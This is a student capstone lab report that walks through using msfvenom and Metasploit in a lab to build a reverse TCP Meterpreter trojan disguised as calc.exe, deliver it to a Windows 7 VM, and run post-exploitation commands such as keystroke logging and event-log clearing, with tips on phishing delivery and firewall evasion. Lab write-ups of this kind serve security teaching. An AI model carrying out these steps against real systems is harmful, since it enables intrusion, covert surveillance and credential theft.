|  |
| --- |
|  |
| Capstone Experience  IST 894 |
| Lab 6 – Creating Attacks with Metasploit  Scott Finlon |

Table of Contents

[1. General Context 3](#_Toc85145533)

[2. Technical Context 4](#_Toc85145534)

[3. Solution 6](#_Toc85145535)

[References 15](#_Toc85145536)

# General Context

In this lab we utilize the Metasploit Framework and their msfvenom tool to create a unique and tailored exploit that will be run on a vulnerable Windows 7 machine. Metasploit is an application framework that was created by HD Moore in 2003 and is has a modular interface that allows you to pick and choose different plugins and features to use. Metasploit is now actively developed and managed by Rapid7.

Metasploit is a favorite tool of many penetration testers. It’s very easy to use, and has an extremely active community that is always developing new modules for new exploits that are found in the wild. Msfvenom is a separate tool from the main Metasploit framework that combines all of the functionality of msfpaylod and msfencode into a single tool, and it allows you to easily generate payloads in various formats and encode them into various encoder modules (Introducing Msfvenom | Rapid7 Blog, 2011). For this lab, we use msfvenom to create a reverse access trojan (RAT) that, when executed on a vulnerable machine, connects a reverse shell back to the attackers machine. Reverse shells are shell sessions that are established on a connection that is initiated from a remote machine, not from an attackers machine (Banach, 2019). Reverse shells tend to have better success in penetrating network defenses, because traditionally networks have much more lax outbound rules than inbound. This means that because the attack is actually initiated from within a secure network, it is able to bypass a lot of traditional security measures and establish a connection from the attacker to the inside of the network.

In our exploit that we create, we call calc.exe and utilize a basic Python web server to host the file which can be downloaded to the vulnerable machine. This file can easily be modified to look like a pdf or any number of other file types that can be placed inside of a crafted phishing email and then sent out to numerous potential victims. Once everything is configured on an attackers end, all they need to do is convince an end user to execute the exploit program and then the end user has absolutely no idea that a connection has been established to their machine. It’s even possible for these RATs to be placed inside actual functioning program like calc.exe so that when executed, not only do the victims not know that a reverse shell has been established but the Windows Calculator program opens simulating that nothing is wrong.

# Technical Context

Msfvenom utilizes various command line arguments and flags to specify the various intended options when executed. Running the following command `msfvenom -a x86 --platform Windows -p windows/shell/bind\_tcp -e x86/shikata\_ga\_nai -b '\x00' -i 3 -f python` tells the program to create an exploit for a Windows target running on x86 32-bit architecture, -p is the flag to specify the payload which is a bind\_tcp Windows shell, -e specifies the encoder to use, -b specifies a list of characters to avoid in hexadecimal format, -i is the number of times to encode the payload, and finally -f is the format to return the output in. In the exploit that we created for this lab, we added two variables to the end of the command to add in out attacker machine IP address and port to connect back to.

Just because we have a working exploit that will connect back to us upon execution, it doesn’t mean everything is automatically compromised. We still need to find a way to have someone execute the payload on a vulnerable machine. If nobody runs it, it’s useless. Also, if it’s executed on a patched machine that isn’t vulnerable to the payload we chose, it’s also useless. This means that a fair amount of reconnaissance needs to be done to try and identify, as specific as possible, the version of the operating system that we’re trying to exploit. If we are targeting a specific machine or individual like in this lab, you configure it specifically for that, however, in a real world scenario an attacker might just choose a payload that has a higher percentage of working across a large population of machines and then send it out to as many people as possible via phishing emails or watering hole attacks or something else (What Is a Watering Hole Attack?, n.d.). If the payload has a 20% of being successful, but you can get 100 people to execute it, you’ll still have compromised 20 machines. This happens to be the primary difference between spear phishing attacks and traditional ‘spray and pray’ phishing attacks (KnowBe4, n.d.).

In order for this attack to be successful, the final step is to ensure that the target machine can communicate out to the attacking machine on the port you specify. Traditionally organizations tend to have fairly strict firewall rules on what traffic is allowed in their network, but many these days are stateful firewalls that allow established connections back in. So if they have little to no outbound rules, you can connect through on a unused port like 666 otherwise you might have to try to mimic more well-known traffic ports like HTTP on 80 or 443 or DNS on port 53. Newer, next-gen firewalls can do inspection on traffic on commonly used ports to ensure that traffic on port 53 is DNS traffic, or traffic on 443 is encrypted. However, if you are able to bypass these checks, and get the connection through, you’ll be on the inside of the network with little trouble.

# Solution

The first step in this lab is to start up the Kali Linux VM and the Vulnerable Windows Host. Then we are going to console in to the Kali box and open a terminal window. At the terminal prompt sudo to root and then we type `msfvenom --help` to get a list of options for the command, and then type `msfvenom -l payloads` to list all of the payloads available of which there are hundreds. Next, we run `mkdir -p /home/student/Desktop/shellcode` to create a new directory on the student users desktop. The last step of preparation is to run `ifconfig eth0` to find the IP address of this attacking machine.

Text

Description automatically generated

Figure 1 - msfvenom help

Text

Description automatically generated

Figure 2 - msfvenom list payloads

Text

Description automatically generated

Figure 3 - create shellcode directory and change to it

Text

Description automatically generated

Figure 4 - Identify local IP address

Now that we’ve done our basic recon, we run `msfvenom -p windows/meterpreter/reverse\_tcp -a x86 --platform windows -f exe LHOST=10.1.125.109 LPORT=666 -o /home/student/Desktop/shellcode/calc.exe`. This creates an executable called calc.exe that will execute a reverse TCP Meterpreter shell on a vulnerable windows host and connect to IP 10.1.125.109 on port 666. An attacker would have to distribute the exploit to a vulnerable host and convince the end user to execute it, this would likely be done with a phishing email or a water hole attack. We are going to use the Python module for SimpleHTTPServer to host the file and then browse to it from the Windows machine to download it. On the Windows VM Chrome will browse to the Python web server, but it’s internal AV and security settings will not let you download calc.exe because it can see that it is an exploit. If we attempt to download the file with Internet Explorer, those security settings do not exist so we can save the file to our desktop.

Text

Description automatically generated

Figure 5 - create the exploit



Figure 6 - start the basic webserver to host the exploit

Graphical user interface, text, application, email

Description automatically generated

Figure 7 - browse to the file in Chrome

Text

Description automatically generated

Figure 8 - Chrome blocks the download of the exploit

Graphical user interface, text, application, email

Description automatically generated

Figure 9 - using IE lets us download the exploit to our desktop

**Now that the exploit is on the victim machine, we need to configure Metasploit to listen for the inbound connection. First, we need to start up the PostgreSQL service, and then initialize the database, and then run `msfconsole` to actually start Metasploit. Once we are at a msf prompt, we can run `db\_status` to show that the database connection is active.**

Text

Description automatically generated

Figure 10 - start database and initialize it

Text

Description automatically generated

Figure 11 - start Metasploit and check database status

**Now that we are in Metasploit, we create a new workspace called `hacking` and check that we are using the new workspace. We run `use exploit/multi/handler/` because it has to match the exploit that we created with msfvenom, and we `set payload windows/meterpreter/reverse\_tcp` for the same reason. Then we add in our local host IP address and a local listening port of 666. Once all of our options are set, we simply run `exploit` and Metasploit will start listening on port 666 for inbound reverse shell connections.**

Text

Description automatically generated

Figure 12 - create new workspace



Figure 13 - set Metasploit payload



Figure 14 - set listening port

**Now that our attacking machine is actively listening on port 666, we need to switch back to the Windows machine and run ‘calc.exe’, the cursor spins but then seemingly nothing happens. We switch back to the Kali VM and we see that a new Meterpreter session has been opened from 10.1.112.145. We are now presented with a ‘meterpreter > ‘ prompt, and if we type in ‘sysinfo’ we see that it’s actually a shell on the Windows 7 VM. Metasploit has many tools to let us pivot in the host and try to escalate our privileges, as well as other surveillance items like a keystroke logger that silently records in the background. Simply entering `keyscan\_start` starts the recording of all keystrokes that are entered on the Windows VM, then typing in `keyscan\_dump` prints out everything that was captured.**

Text

Description automatically generated

Figure 15 - active reverse shell

Text

Description automatically generated

Figure 16 - showing system information from the Windows VM

Text

Description automatically generated

Figure 17 - starting the keystroke logger and monitoring results

**From this point, an attacker and just sit and wait capturing passwords and any other text that is typed in, but there are other commands that can be run to help identify other weaknesses and potential attack targets. If we type in ‘help’ it prints a list of available commands at our disposal. We can send the active session to the background by typing `background` and then we can list the active sessions and choose which one we want to interact with. We switch back to the Windows VM session and decided to see how much access we have. We run `sysinfo` and then change our directory to `c:\users` and try to navigate into the ‘Administrator’ user but are denied and told that we don’t have access. We can even delete event logs by typing `clearev` as long as we have admin rights, which we don’t have on this machine. We can type `getuid` to see what user we are actually logged in as, and then `idletime` to see the last time that they interacted with the machine. We can also view network information like the victim IP and subnet, which could allow further lateral movement once credentials have been harvested. This attack worked because these two machines are both on a very large internal subnet. This could be prevented in many ways, but from a network administrator stand point the network should be segmented into much smaller subnets with either an internal firewall or at the very least access control lists between them. There is no reason why port 666 should be allowed to transit between networks, but when the two hosts are layer-2 adjacent it’s difficult to limit the communication between them.**

Text

Description automatically generated

Figure 18 - Meterpreter help

Graphical user interface, text

Description automatically generated

Figure 19 - list Meterpreter sessions and select session 1

Text

Description automatically generated with medium confidence

Figure 20 - gather information about the host and current directory and contents

Text

Description automatically generated

Figure 21 - list the network information

Graphical user interface, text

Description automatically generated

Figure 22 - list all running processes



Figure 23 - calc.exe running

Text

Description automatically generated

Figure 24 - attempt to enter Administrator director and clear logs

Text

Description automatically generated

Figure 25 - get information about active user

# ****References****

Banach, Z. (2019, December 3). *Understanding Reverse Shells*. <https://www.netsparker.com/blog/web-security/understanding-reverse-shells/>

*Introducing msfvenom | Rapid7 Blog*. (2011, May 24). Rapid7. <https://www.rapid7.com/blog/post/2011/05/24/introducing-msfvenom/>

KnowBe4. (n.d.). *Phishing | Phishing Techniques*. Retrieved October 14, 2021, from <https://www.phishing.org/phishing-techniques>

*What is a watering hole attack?* (n.d.). SearchSecurity. Retrieved October 14, 2021, from <https://searchsecurity.techtarget.com/definition/watering-hole-attack>